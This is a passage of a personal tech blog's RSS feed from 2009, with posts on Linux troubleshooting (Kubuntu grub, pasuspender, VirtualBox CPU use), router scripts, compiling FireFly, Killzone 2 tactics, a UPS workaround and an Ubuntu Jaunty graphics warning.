&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;which shows what we had discussed above. This gets worked around when I use the -F option because then tail periodically reopens the file by name and reads it again, thus bypassing the above issue. Then I simply tried running tail again on the same file and doing something like &amp;ldquo;echo abc &amp;raquo; a.txt&amp;rdquo; and I could see the behaviour as expected with tail immediately detecting the change and displaying it in its window. Hope this helps if you have been pulling out your hair thinking you have gone crazy as your favourite little tool that you have been using for so many years has suddenly stopped working and no one else apart from you is even complaining :P&lt;/p&gt;</content></item><item><title>Paradise For Overclockers, Gamers and PC Enthusiasts In India</title><link>https://shantanugoel.com/2009/12/07/overclockers-pc-enthusiasts-gamers-india/</link><pubDate>Mon, 07 Dec 2009 18:05:27 +0000</pubDate><guid>https://shantanugoel.com/2009/12/07/overclockers-pc-enthusiasts-gamers-india/</guid><description>&lt;p&gt;This is just to let you know that a few of my friends have started &lt;a href="http://www.overclocked.in"&gt;Overclocked&lt;/a&gt;, a haven for PC enthusiasts in India. Overclocked is an online store for the people who like to stretch the performance of their machines to the maximum. They store a lot of high end computer stuff that isn&amp;rsquo;t easy to find in India and that too for a reasonable price. They also assemble mean gaming machines while giving you quite a bang for your buck with gauranteed satisfaction, shipped anywhere in India, and that&amp;rsquo;s not all, they can personalize it too with a variety of custom modifications (I really like their laser engravings).&lt;/p&gt;</description><content>&lt;p&gt;This is just to let you know that a few of my friends have started &lt;a href="http://www.overclocked.in"&gt;Overclocked&lt;/a&gt;, a haven for PC enthusiasts in India. Overclocked is an online store for the people who like to stretch the performance of their machines to the maximum. They store a lot of high end computer stuff that isn&amp;rsquo;t easy to find in India and that too for a reasonable price. They also assemble mean gaming machines while giving you quite a bang for your buck with gauranteed satisfaction, shipped anywhere in India, and that&amp;rsquo;s not all, they can personalize it too with a variety of custom modifications (I really like their laser engravings).&lt;/p&gt;
&lt;p&gt;Apart from the computer hardware, they also sell a lot of games (Primarily PC but consoles as well, and that too for a cool discount from the MRP, again shipped anywhere in India). They also have a &lt;a href="http://www.overclocked.in/forums"&gt;forum&lt;/a&gt; where people can hang out and discuss how to eek out that last bit from their PCs.&lt;/p&gt;
&lt;p&gt;Do check them out. I&amp;rsquo;m sure you will like the stuff they have on offer and if you have any comments/suggestions or queries, don&amp;rsquo;t hesitate to contact them via their contact page or the forums. I&amp;rsquo;m sure they will be glad to listen to you. I&amp;rsquo;d say that a word of kudos will be great as these guys are doing this along with their full time professions and such places are hard to find in India :)&lt;/p&gt;</content></item><item><title>grub and knetworkmanager problems in Kubuntu Karmic</title><link>https://shantanugoel.com/2009/11/08/grub-knetworkmanager-kubuntu-karmic/</link><pubDate>Sun, 08 Nov 2009 12:08:00 +0000</pubDate><guid>https://shantanugoel.com/2009/11/08/grub-knetworkmanager-kubuntu-karmic/</guid><description>&lt;p&gt;I generally move from &lt;a href="https://shantanugoel.com/2008/05/21/ubuntu-what-exactly-does-lts-mean.html"&gt;LTS&lt;/a&gt; to LTS releases of Ubuntu but reluctantly had to update my system to Karmic when my old HDD gave in. I also thought of trying out Kubuntu (KDE based) this time as I had heard that its doing a lot of interesting things (Akonadi/Nepomuk etc) and that with 4.3.1 it is stable as well. The installation went fine, all over within less than half an hour and then the problems started. Here are the 2 main issues that I faced along with their solutions, in the hope that if someone else runs into same issues does not have to waste time (and hair) on it :)&lt;/p&gt;</description><content>&lt;p&gt;I generally move from &lt;a href="https://shantanugoel.com/2008/05/21/ubuntu-what-exactly-does-lts-mean.html"&gt;LTS&lt;/a&gt; to LTS releases of Ubuntu but reluctantly had to update my system to Karmic when my old HDD gave in. I also thought of trying out Kubuntu (KDE based) this time as I had heard that its doing a lot of interesting things (Akonadi/Nepomuk etc) and that with 4.3.1 it is stable as well. The installation went fine, all over within less than half an hour and then the problems started. Here are the 2 main issues that I faced along with their solutions, in the hope that if someone else runs into same issues does not have to waste time (and hair) on it :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Bootloader Issue:&lt;/strong&gt; I dual boot my system along with Win XP (Needed for some office work) and generally install the bootloader onto a separate boot partition instead of overwriting the MBR. But this time when I did the same, I couldn&amp;rsquo;t boot (not even the grub menu). When I did this, the very helpful message that I got on restarting after installing kubuntu was “Error loading operating system”. I could still go back to my good windows install by setting the boot flag onto its partition. I mucked around with it a lot, trying to install grub2 again and found that actually it fails when I try to do the above (install on a partition). I also tried copying the boot sector from my /boot partition to C: and use ntldr to boot into linux but that also didn’t work. This lead me to believe that the same thing happened during my main installation and the installer failed to tell me anything about it. I tried then to install it on MBR but that also mucked up things and I couldn’t even get the error message, a cursor just kept blinking. Finally, the solution. I had to install kubuntu again and this time selected to overwrite MBR (this is default, BTW).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Wi-Fi Connection Issue:&lt;/strong&gt; Second immediate issue was with knetworkmanager. It failed to start my wi-fi module (even after installing restricted drivers). I disabled and enabled wi-fi, so that brought some life to it (wi-fi led started glowing) but it still couldn’t scan for any access points. I could do the scan through command line and see my AP but my AP is WPA2 secured and I didn’t want to mess around with wpa-supplicant stuff. Solution: Installed Wicd. And it worked automagically.&lt;/p&gt;
&lt;p&gt;Hope this helps someone else who faces the same issue. Looks like my idea of moving to kubuntu wasn’t a good one (especially because I had 2 lockups during the 1 hour I used it for in the wee hours of this morning). I’ll probably give it another week or so before taking the decision whether to move back to ubuntu or not.&lt;/p&gt;
&lt;p&gt;One good thing to take away from this though: For the first time I could really appreciate the live CD installer that these linux distros give. As I could search about the various issues I had without having a second computer. But then again, it’s not that good as well because it means that so far I never had any installation issues at all…&lt;/p&gt;</content></item><item><title>Making Frets On Fire Work With Pulse Aludio - pasuspender</title><link>https://shantanugoel.com/2009/08/23/make-frets-on-fire-work-pulse-audio-pasuspender/</link><pubDate>Sun, 23 Aug 2009 18:18:45 +0000</pubDate><guid>https://shantanugoel.com/2009/08/23/make-frets-on-fire-work-pulse-audio-pasuspender/</guid><description>&lt;p&gt;I recently got hold of a Guitar Hero controller for my PS3 but the game still had some time to come so I tried it out on my laptop with Frets on Fire (rather FoFix). But when I started it, it was crashing with some weird error about not being able to open mixer devices. Searching on the google, I came to know this is happening because of Pulse Audio as this application needs direct access to the sound devices and finally I came upon **pasuspender. **This little tool allows you to do that with ease. Just run it in the following way:&lt;/p&gt;</description><content>&lt;p&gt;I recently got hold of a Guitar Hero controller for my PS3 but the game still had some time to come so I tried it out on my laptop with Frets on Fire (rather FoFix). But when I started it, it was crashing with some weird error about not being able to open mixer devices. Searching on the google, I came to know this is happening because of Pulse Audio as this application needs direct access to the sound devices and finally I came upon **pasuspender. **This little tool allows you to do that with ease. Just run it in the following way:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pasuspender -- ./FretsOnFire&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And it will start working just fine. You can use the same trick for any other application that needs direct access to the sound devices. What pasuspender does is that it will suspend pulse audio and allow the application to access them directly and when the application is terminated, normal functioning will resume.&lt;/p&gt;</content></item><item><title>Killzone 2 Tips Tricks Tactics And Strategies : Engineer</title><link>https://shantanugoel.com/2009/08/09/killzone-2-tips-tricks-tactics-stategies-engineer/</link><pubDate>Sun, 09 Aug 2009 16:45:04 +0000</pubDate><guid>https://shantanugoel.com/2009/08/09/killzone-2-tips-tricks-tactics-stategies-engineer/</guid><description>&lt;p&gt;&lt;strong&gt;Killzone 2 (KZ2)&lt;/strong&gt; is one of my most favourite games for the &lt;strong&gt;Playstation 3&lt;/strong&gt;. Killzone 2 is a very different game as compared to the other run-of-the-mill FPS&amp;rsquo;s out there. Now, I might not be the best player out there but I&amp;rsquo;ve played my fair share of it. So, I thought of jotting down some quick points for the different classes, how to play them and how to make the most of them according to my opinion. I hope to make this a series where I would discuss the strategies for a class and its primary and secondary abilities and once all classes are covered, I&amp;rsquo;ll probably touch upon the rest of the aspects of the game. Please read them and supplement them with real practice to see the benefits. And yeah, do not hesitate to point out the flaws if any and I&amp;rsquo;d also love to hear about the tactics that you follow as well as KZ2 is a game where the element of surprise is very important which calls for unusual strategies many times ;).&lt;br&gt;
So without wasting any more time, here is a really really basic set that you should follow:&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Killzone 2 (KZ2)&lt;/strong&gt; is one of my most favourite games for the &lt;strong&gt;Playstation 3&lt;/strong&gt;. Killzone 2 is a very different game as compared to the other run-of-the-mill FPS&amp;rsquo;s out there. Now, I might not be the best player out there but I&amp;rsquo;ve played my fair share of it. So, I thought of jotting down some quick points for the different classes, how to play them and how to make the most of them according to my opinion. I hope to make this a series where I would discuss the strategies for a class and its primary and secondary abilities and once all classes are covered, I&amp;rsquo;ll probably touch upon the rest of the aspects of the game. Please read them and supplement them with real practice to see the benefits. And yeah, do not hesitate to point out the flaws if any and I&amp;rsquo;d also love to hear about the tactics that you follow as well as KZ2 is a game where the element of surprise is very important which calls for unusual strategies many times ;).&lt;br&gt;
So without wasting any more time, here is a really really basic set that you should follow:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Engineer&amp;rsquo;s Prime Role:&lt;/strong&gt; Understand that your role is not that of a front line assault. An engineer is best suited as a defender or a support class.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Engineer&amp;rsquo;s Weapon - Shotgun&lt;/strong&gt;: The shotgun is called the one shot killer. It fires a burst of various pellets resulting in a much larger hit area and so you need not be extremely accurate. But it has some salient points to be noted while using it.
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Shotgun is useful only in a very short range. Avoid long range combat because 99% you will find yourself dead without even getting a single hit point at the opponent. This means lurk around in corners or alleyways, take the less travelled routes to your destinations, and let your turrets do the most of your job for you&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shotgun is slightly heavy as compared to other weapons and hence you will find yourself moving that right analog stick quite a bit more for aiming.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shotgun has a high reload time between bullets and especially the full magazine. So if you are in middle of a fight and run out of a mag, it&amp;rsquo;s best to take out your M4 revolver instead of waiting to reload (or just run away if you are not confident enough of your revolver or haven&amp;rsquo;t unlocked it yet)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Engineer&amp;rsquo;s Primary Ability - Turrets&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Find elevated places. It has two advantages. First, it is more difficult for the opposition to take it out because it is above the eye level and second, your turret has more chances of getting headshots leading to faster kills and more points.&lt;/li&gt;
&lt;li&gt;Cover up alleyways/alternate routes which the enemy can take to flank your team. This is more important than you think. You are, in effect, forcing the opposition to take a route where most of your team mates can easily take them down.&lt;/li&gt;
&lt;li&gt;Don&amp;rsquo;t place them close to walls as it makes them more susceptible to damage.&lt;/li&gt;
&lt;li&gt;Don&amp;rsquo;t bunch up your turrets, keep them a safe distance apart. This has two advantages. First, it is more difficult for the enemy to take out your turrets (otherwise they can take them out together easily), plus each turret can give cover to the other and also attack the enemy from two sides taking him down quickly.&lt;/li&gt;
&lt;li&gt;For rounds like Search &amp;amp; Destroy/ Defend or assassination, don&amp;rsquo;t place turrets very close to the objective point but at a slight distance, at a place where the turret has clear line of sight to the objective point and/or the path to it. This will make it safe from the enemy while raining hell onto him while he is concentrating somewhere else.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Engineer&amp;rsquo;s Secondary Ability - Repair&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Repair ability is a very underrated ability. It might not give you a hell lot of points by itself but it is very important for your team.&lt;/li&gt;
&lt;li&gt;Repairing ammo crates is a natural thing as your team mates might need it but that is not the most important thing to concentrate upon as people might not need them too often as people die often in KZ2 and moreover they might not want to waste time taking stuff out of the crate and risking their life.&lt;/li&gt;
&lt;li&gt;First important use of repair ability is to repair your own turrets. Your turrets go under wear and tear as time progresses or when attacked by someone. It is of utmost importance to keep repairing them because you have to wait for a lot of time before you can set up another turret while repair ability recharges much faster.&lt;/li&gt;
&lt;li&gt;Second is to repair the emplaced/mounted machine guns at various places in the maps. Repair them and use them to take down the enemy quickly (especially useful for S&amp;amp;D). But make sure that another guy/turret is protecting you from out of peripheral-view attacks.
So that&amp;rsquo;s it for now. But keep in mind that just reading these tips won&amp;rsquo;t help unless you &lt;strong&gt;practice.&lt;/strong&gt; Let me know if you found these tips helpful or if you have any map/situation specific queries and if you would like to add your own strategies. I&amp;rsquo;ll take up a new class next time.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Easiest Way to Shutdown Asus WL-500W</title><link>https://shantanugoel.com/2009/07/10/shutdown-asus-wl-500-w/</link><pubDate>Fri, 10 Jul 2009 23:19:12 +0000</pubDate><guid>https://shantanugoel.com/2009/07/10/shutdown-asus-wl-500-w/</guid><description>&lt;p&gt;If you are a proud owner of an Asus WL-500W wireless router (or maybe another one of the same series like wl-500g, wl-500gp, etc), then you know that this router has a very useful USB port with which you might have attached your external hard disk and have already offloaded all your downloding tasks to it, or maybe using it for various other purposes. Whatever maybe the reason, the main point is that because of this hard disk, now we cannot just turn off the power of the router any more. It has to be shut down gracefully like a PC. One way is to ssh/telnet to it and then give the &amp;ldquo;halt&amp;rdquo; command but then you have to switch on a PC specially just to turn off your router. Well not any more. I was looking for a better way to do this and just found out the simplest one. And if you are using Oleg&amp;rsquo;s custom firmware then you are in luck too.
With the 1.9.2.7-g version of his firmware, oleg added a new feature with which if you press the **EZ Setup **button at the back of the router for 3 seconds, it executes a script &amp;ldquo;/usr/local/sbin/ez-setup&amp;rdquo;, if present. So, all you gotta do is create a new text file named &amp;ldquo;ez-setup&amp;rdquo;, and paste the following contents in it:&lt;/p&gt;</description><content>&lt;p&gt;If you are a proud owner of an Asus WL-500W wireless router (or maybe another one of the same series like wl-500g, wl-500gp, etc), then you know that this router has a very useful USB port with which you might have attached your external hard disk and have already offloaded all your downloding tasks to it, or maybe using it for various other purposes. Whatever maybe the reason, the main point is that because of this hard disk, now we cannot just turn off the power of the router any more. It has to be shut down gracefully like a PC. One way is to ssh/telnet to it and then give the &amp;ldquo;halt&amp;rdquo; command but then you have to switch on a PC specially just to turn off your router. Well not any more. I was looking for a better way to do this and just found out the simplest one. And if you are using Oleg&amp;rsquo;s custom firmware then you are in luck too.
With the 1.9.2.7-g version of his firmware, oleg added a new feature with which if you press the **EZ Setup **button at the back of the router for 3 seconds, it executes a script &amp;ldquo;/usr/local/sbin/ez-setup&amp;rdquo;, if present. So, all you gotta do is create a new text file named &amp;ldquo;ez-setup&amp;rdquo;, and paste the following contents in it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;halt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then save it at /usr/local/sbin in your router and make it executable by running &amp;ldquo;chmod +x ez-setup&amp;rdquo;. And you are done. You can now try out whether your router is shutting down gracefully or not by just pressing the EZ Setup button for 3 seconds.&lt;/p&gt;</content></item><item><title>VirtualBox High CPU Usage Problem Solved</title><link>https://shantanugoel.com/2009/07/07/virtualbox-high-cpu-usage-problem-solved/</link><pubDate>Tue, 07 Jul 2009 03:36:00 +0000</pubDate><guid>https://shantanugoel.com/2009/07/07/virtualbox-high-cpu-usage-problem-solved/</guid><description>&lt;p&gt;A few days ago, I had to install Windows XP as a guest OS on my Ubuntu Hardy machine as I needed to carry out some Visual Studio work. What I noticed was that my CPU usage went through the roof (constantly at 100%) even if the guest was completely idle. Result: My laptop was shutting down within a few minutes because the CPU was heating up and its temperature going beyond 75C. And finally came to know a simple solution from a friend, that immediately worked. The solution was to create a new dummy guest machine in VirtualBox, allocate minimal RAM to it (I gave 4MB) and just run it, don’t even need to add boot disk to it and to my surprise, the CPU usage came down to just 3-4% immediately. I’m not sure why this issue is happening and how the dummy machine solved it but atleast it is working for me now. If you have a similar issue, you can try out the same.&lt;/p&gt;</description><content>&lt;p&gt;A few days ago, I had to install Windows XP as a guest OS on my Ubuntu Hardy machine as I needed to carry out some Visual Studio work. What I noticed was that my CPU usage went through the roof (constantly at 100%) even if the guest was completely idle. Result: My laptop was shutting down within a few minutes because the CPU was heating up and its temperature going beyond 75C. And finally came to know a simple solution from a friend, that immediately worked. The solution was to create a new dummy guest machine in VirtualBox, allocate minimal RAM to it (I gave 4MB) and just run it, don’t even need to add boot disk to it and to my surprise, the CPU usage came down to just 3-4% immediately. I’m not sure why this issue is happening and how the dummy machine solved it but atleast it is working for me now. If you have a similar issue, you can try out the same.&lt;/p&gt;</content></item><item><title>Compiling Latest FireFly (mt-daapd) for ASUS WL-500W</title><link>https://shantanugoel.com/2009/07/03/compiling-latest-firefly-mt-daapd-asus-wl-500w/</link><pubDate>Fri, 03 Jul 2009 10:28:32 +0000</pubDate><guid>https://shantanugoel.com/2009/07/03/compiling-latest-firefly-mt-daapd-asus-wl-500w/</guid><description>&lt;p&gt;FireFly is a nice DAAP based media server that allows you to listen to your music collection anywhere using any DAAP based client like iTunes, with other players (like Winamp, Rhythmbox, VLC, etc) using plugins, or it even has its own dedicated php/flash/java based clients that can be fired up on any platform any computer giving you instant nirvana.&lt;/p&gt;
&lt;p&gt;Many people, like me, use it on their Routers or NAS boxes to access their music anywhere without having to keep their home PC running or lugging around external drives. However, development on this gem stopped some time ago. The last stable build released (2.4.2) was good but it doesn&amp;rsquo;t have a lot of features provided by the nightly builds in svn (subversion). And the last nightly build released (svn-1696) had a lot of broken things. It was rebuilding the database everytime, crashed around quite a bit, had a lot of security holes. So, I decided to get the latest version (trunk) of the FireFly code, as it had a lot of fixes for above issues, put in whatever was missing, and try to build it for my use.&lt;/p&gt;</description><content>&lt;p&gt;FireFly is a nice DAAP based media server that allows you to listen to your music collection anywhere using any DAAP based client like iTunes, with other players (like Winamp, Rhythmbox, VLC, etc) using plugins, or it even has its own dedicated php/flash/java based clients that can be fired up on any platform any computer giving you instant nirvana.&lt;/p&gt;
&lt;p&gt;Many people, like me, use it on their Routers or NAS boxes to access their music anywhere without having to keep their home PC running or lugging around external drives. However, development on this gem stopped some time ago. The last stable build released (2.4.2) was good but it doesn&amp;rsquo;t have a lot of features provided by the nightly builds in svn (subversion). And the last nightly build released (svn-1696) had a lot of broken things. It was rebuilding the database everytime, crashed around quite a bit, had a lot of security holes. So, I decided to get the latest version (trunk) of the FireFly code, as it had a lot of fixes for above issues, put in whatever was missing, and try to build it for my use.&lt;/p&gt;
&lt;p&gt;After a day&amp;rsquo;s worth of efforts, here it is. This latest build is the most rich in features as compared to the stable one, and is just as stable as the 2.4.2 release if not better, and also fixes all the issues shown by the svn-1696 build. The downloadable source and complete install package are attached with this post. But I&amp;rsquo;m also listing down the steps that I took to achieve this so that if anyone wants to recompile it with their own options (e.g. I haven’t included ogg/flac support in my build), they are able to do so. You can find the steps below. Please let me know if you have any queries. Also, if you want to submit any patches, I’ll be happy to incorporate them and recompile. I’m also trying to get this source and package into the unslung/optware repositories for wider distribution.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note: Although I’ve compiled this for Asus WL-500W, it should work for most devices with a mipsel architecture (which includes all the Asus routers in this family). Also, the compilation process should work for most other architectures barring one or two steps. I’d be happy to help if you want to do so and face any issues.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Changes and Build Steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ipkg install optware-devel&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ipkg install buildroot&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Edit /opt/share/aclocal/audiofile.m4 and change AC_DEFUN(AM_PATH_AUDIOFILE, to AC_DEFUN([AM_PATH_AUDIOFILE],&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ipkg install gettext (for some missing m4 macros, libr_rpath etc)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Comment out AC_USE_SYSTEM_EXTENSIONS in configure.in (using dnl)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;aclocal -I &amp;lt;path of mt-daapd&amp;rsquo;s local m4 dir&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;run “autoheader” to generate config.h.in&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;touch config.rpath (somehow this file is not provided with gettext for us)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;change configure.in line 95, remove the ; at the end&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;remove -g flag and add -O2 in configure.in for optimization purpose&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;run “automake &amp;ndash;add-missing”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;run “autoconf” - to generate configure&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ipkg install grep (for egrep)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;change /bin/sh to /opt/bin/bash in configure and install-sh&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;run “./configure &amp;ndash;enable-sqlite3 &amp;ndash;prefix=/opt CPFLAGS=”-D_LIBC” ” (You can also use &amp;ndash;enable-oggvorbis and/or &amp;ndash;enableflac)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After this step, I had to make numerous changes to the source code to put in the missing functionality for database handling, removing some compilation errors, etc. You can diff the svn 1715 code with mine to see the changes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;run “make”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;run “make install”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And you are done. The modified source and compiled bianries can be downloaded from below.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Lost the files in a server move. Sorry :(&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Let me know if you have any queries or face any issues.&lt;/p&gt;</content></item><item><title>Opera Web Server In A Browser: Bad Idea</title><link>https://shantanugoel.com/2009/06/17/opera-web-server-browser-bad-idea/</link><pubDate>Wed, 17 Jun 2009 08:17:04 +0000</pubDate><guid>https://shantanugoel.com/2009/06/17/opera-web-server-browser-bad-idea/</guid><description>&lt;p&gt;Today, the whole word is going gaga over &amp;ldquo;&lt;a href="http://unite.opera.com/"&gt;Opera Unite&lt;/a&gt;&amp;rdquo;, the new technology in Opera 10 which will make your web browser a web server as well (and not just that, it will make a whole lot of “sharing” options available). Well, I’m not so excited about it. Technology wise, it is really cool but what they don’t realize is that this is like giving motorized chain-saw or a swiss army knife in the hands of a two-year old. Seriously, majority of the people around the world who get themselves into all sorts of shit while just plain surfing the net, now got a whole new array of avenues where they can be exploited upon. For people who do need a webserver, there are plenty of straight-forward point and click options available. I hope they atleast have options to completely turn it off and even better, keep it turned off by default.&lt;/p&gt;</description><content>&lt;p&gt;Today, the whole word is going gaga over &amp;ldquo;&lt;a href="http://unite.opera.com/"&gt;Opera Unite&lt;/a&gt;&amp;rdquo;, the new technology in Opera 10 which will make your web browser a web server as well (and not just that, it will make a whole lot of “sharing” options available). Well, I’m not so excited about it. Technology wise, it is really cool but what they don’t realize is that this is like giving motorized chain-saw or a swiss army knife in the hands of a two-year old. Seriously, majority of the people around the world who get themselves into all sorts of shit while just plain surfing the net, now got a whole new array of avenues where they can be exploited upon. For people who do need a webserver, there are plenty of straight-forward point and click options available. I hope they atleast have options to completely turn it off and even better, keep it turned off by default.&lt;/p&gt;</content></item><item><title>Microtek UPS Problems (And A Solution)</title><link>https://shantanugoel.com/2009/05/10/microtek-ups-problems-solution/</link><pubDate>Sun, 10 May 2009 15:35:02 +0000</pubDate><guid>https://shantanugoel.com/2009/05/10/microtek-ups-problems-solution/</guid><description>&lt;p&gt;I got myself a &lt;strong&gt;Microtek 800VA UPS (MDP800+)&lt;/strong&gt; a couple of weeks ago to save my PS3 from the frequent power outages that we are seeing in Hyderabad but the purpose was rather lost when I found that it worked fine only till the mains power was on. As soon as there was an outage, it couldn’t stop the PS3 from an abrupt shut down. I ran around the pathetic Microtek customer service for days and they finally sent an “engineer” down to my place (after a week) to diagnose the issue and he couldn’t say anything more than that the UPS is meant for a PC and nothing else. All logical discussions to tell him that PS3 is essentially a PC but in a different form were kind of like pouring water on a well-oiled rock and hoping it would stick.&lt;/p&gt;</description><content>&lt;p&gt;I got myself a &lt;strong&gt;Microtek 800VA UPS (MDP800+)&lt;/strong&gt; a couple of weeks ago to save my PS3 from the frequent power outages that we are seeing in Hyderabad but the purpose was rather lost when I found that it worked fine only till the mains power was on. As soon as there was an outage, it couldn’t stop the PS3 from an abrupt shut down. I ran around the pathetic Microtek customer service for days and they finally sent an “engineer” down to my place (after a week) to diagnose the issue and he couldn’t say anything more than that the UPS is meant for a PC and nothing else. All logical discussions to tell him that PS3 is essentially a PC but in a different form were kind of like pouring water on a well-oiled rock and hoping it would stick.&lt;/p&gt;
&lt;p&gt;Kind of disappointed, I had a hunch which solved it for me though today :). When I tried to read the output voltage from the output ports on the UPS, it showed me 225–230V when main supply was on. As soon as it was switched off, the output dropped to around 160V. On connecting the PS3, it went up a bit (to around 180V). Now, the load should not have been an issue because a PS3 requires 180–350W I think, which can easily be given by even a 500VA UPS. So far, all suggestions given to me were to remove everything else from the UPS except the PS3, but that was actually my setup in the very first place.&lt;/p&gt;
&lt;p&gt;The weird idea that I had was that the problem is, in fact, that the PS3 is not enough load for it. Call me crazy but as soon as I connected my TV also to the UPS, it started working just fine and dandy. No trip ups now, and I can even cold-boot my PS3 and TV from the UPS backup alone.&lt;/p&gt;
&lt;p&gt;Now, I ain’t the sharpest tool in the shed when it comes to electrical stuff (in fact this was one of my most dreaded subjects during my graduation). So, if anyone can give me a sound reasoning behind what I just saw would be very much appreciated. Or is this a real fault with the unit that I got, or maybe it is a defect in all the Microtek UPS’s? Anyways, I ain’t complaining till it’s working for me :) and if you are seeing the same issues you could try the same as well.&lt;/p&gt;</content></item><item><title>Why You Should Not Upgrade to Ubuntu Jaunty Jackalope (9.04)</title><link>https://shantanugoel.com/2009/05/04/ubuntu-904-jaunty-jackalope-upgrade-graphics-problem/</link><pubDate>Mon, 04 May 2009 17:46:40 +0000</pubDate><guid>https://shantanugoel.com/2009/05/04/ubuntu-904-jaunty-jackalope-upgrade-graphics-problem/</guid><description>&lt;p&gt;&lt;strong&gt;Update: It has come to my notice that many people do not know about this (and other problems listed in comments of this post). Please &lt;strong&gt;&lt;a href="http://digg.com/linux_unix/Why_You_Should_Not_Upgrade_to_Ubuntu_Jaunty_Jackalope_9_04"&gt;&lt;strong&gt;digg&lt;/strong&gt;&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href="http://www.reddit.com/r/linux/comments/8hzkt/why_you_should_not_upgrade_to_ubuntu_jaunty/"&gt;&lt;strong&gt;reddit&lt;/strong&gt;&lt;/a&gt;&lt;/strong&gt; this post so that more people can be made aware of it before they upgrade unknowingly.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You should not upgrade to Ubuntu 9.04 (aka Jaunty Jackalope), released a few weeks ago, if:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;You have an older ATI graphics card (prior to R500, .e.g xpress 200m)&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Update: It has come to my notice that many people do not know about this (and other problems listed in comments of this post). Please &lt;strong&gt;&lt;a href="http://digg.com/linux_unix/Why_You_Should_Not_Upgrade_to_Ubuntu_Jaunty_Jackalope_9_04"&gt;&lt;strong&gt;digg&lt;/strong&gt;&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href="http://www.reddit.com/r/linux/comments/8hzkt/why_you_should_not_upgrade_to_ubuntu_jaunty/"&gt;&lt;strong&gt;reddit&lt;/strong&gt;&lt;/a&gt;&lt;/strong&gt; this post so that more people can be made aware of it before they upgrade unknowingly.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You should not upgrade to Ubuntu 9.04 (aka Jaunty Jackalope), released a few weeks ago, if:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;You have an older ATI graphics card (prior to R500, .e.g xpress 200m)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You like to have 3D support (read compiz/games, etc)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is because of the following reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Ubuntu Jaunty Jackalope has the new version of X.org server (1.6)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The open source graphics drivers for ATI do not have 3D support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The only version of the ATI properietary drivers (fglrx\Catalyst) compatible with X.org server 1.6 is 9.4&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support for older cards (mentioned above) was dropped from fglrx 9.4&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
